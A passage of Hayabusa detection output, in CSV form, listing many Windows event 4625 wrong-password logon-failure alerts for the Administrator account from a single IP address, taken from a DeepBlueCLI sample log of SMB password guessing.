NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.193 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jvX85gF8wk3AGJyb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.241 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OpzOMKQIBrkQW5Os : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.285 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cqzrLAqHNi4CHT56 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.326 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HWMap8qHlykO6Yeu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.369 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pkc9LWakJBjhBQv6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.416 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y43cE75gTzA1XjHF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.457 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9HopaYDAbYxHjJEr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.499 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: brNgudTWJaKs8nLd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.597 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MzPwOqU92kdGodBH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.645 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IXlzxK5OXL9hpqrZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.680 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2cLdgWvrVh7h2jPk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.717 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h34xlYavVsXQRCYG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.760 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6wjflwqXyFzYTi0b : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.795 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MlsuCSajqGUYTBWL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.832 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xQDdrQQZ5xYBDiRi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.872 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JX5NMuwUsOZEp3zh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.918 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JfrbGLqKGru8AE2a : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:46.961 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 813natbodi6QauRW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KpfKxOZG3xSr5Yqm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.044 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fErWiEb0USDghXsB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.083 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fOWF6YnW8UEPlw41 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.124 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SNPXuHduatLFQc8W : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.157 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 35rfur4MzKzwxCIn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.201 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VmAqzaZaeoSjcuh5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.238 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lKuCpuGcGmDOoewr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.281 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Bz6SOAeTyqsBz6Oa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.317 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CSURiEoC7dw0w0ru : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.369 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bDjwkaHT8lrFmn9X : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.417 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ayI129HgVWA5q4Sk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.456 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jT2yiuOJS8Fvf9SD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.495 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1hpAO2UrjFd6Kxt0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.537 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZkgGj9Fnqn3XwnBT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.573 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WFXPYo0yzR7p8dNU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.624 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9j6MxN7PuM29Vlcq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.660 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: w1CWIqoV6GzmmlRm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.696 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uiBfvnfTcIG4xJoi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.741 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dED7HYntoE5D7XvG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.781 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pX1ztnCKiePrPbTT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.824 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: u3XQcfMHJDsBtJDy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.864 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MhRsRIS5tHKLv2oL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.917 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JmkLhptugDU2fDWp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.952 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2yk62yREbgDCj9pB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:47.997 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6JPvkmaAsJlwn9t3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.034 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lhciP1zM9njlRI3j : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.069 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: duNDenwdo1oHVuoL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.114 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0ChBZOYkTm1SguA1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.161 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RU38tuiKC0weexmb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.196 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jg0Hp4xtz0pAMhCz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.231 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5AorVNz5MgTeEvn2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.275 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8oJ6tVjBxlYyj5ej : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.316 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oEAEOi0TsSRVPlz4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.364 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: USfEwKkH8OUADVds : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.400 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y0jg1i6tDiInd10i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.441 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Xv2jRzrgoP6lJdAJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.485 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LmuAXUwSkhR3tSRg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.535 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Zy4Fkpvcrlmp9AES : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.572 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 51ipUXvrRh0CPH1e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.670 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5TB15XKzVJwIyjqU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.713 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i1F6muFPBlPyHPbR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.752 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XNXwYS73RElHozUo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.793 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ft1MLPJISeq0bMsa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.845 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i8kbFOwQiCyRVMDV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.879 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ToPzuDEmXN1fjIcS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.924 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pKF1QKEuTXIGnrx2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:48.964 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fyHpo6pX8TEo6ttv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3uYqEt90yr8B3rK9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.048 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2LKkrM0slVn0CKHw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.080 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TyJ82cfaddnc8c6D : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.120 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KJRw0S82SupmuS4Y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.161 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: z4lSo9BMWdcPLfLb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.208 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XreSLg472qhJw0R3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.266 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KIJcQJKLmnjrE2T9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.309 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zlddo3GCTEIkFyi9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.359 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hxiZoB5mHR2tGUFM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:49.399 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fpEbpiox2Q3Qf8av : IP Address: 192.168.198.149 : AuthPackage: 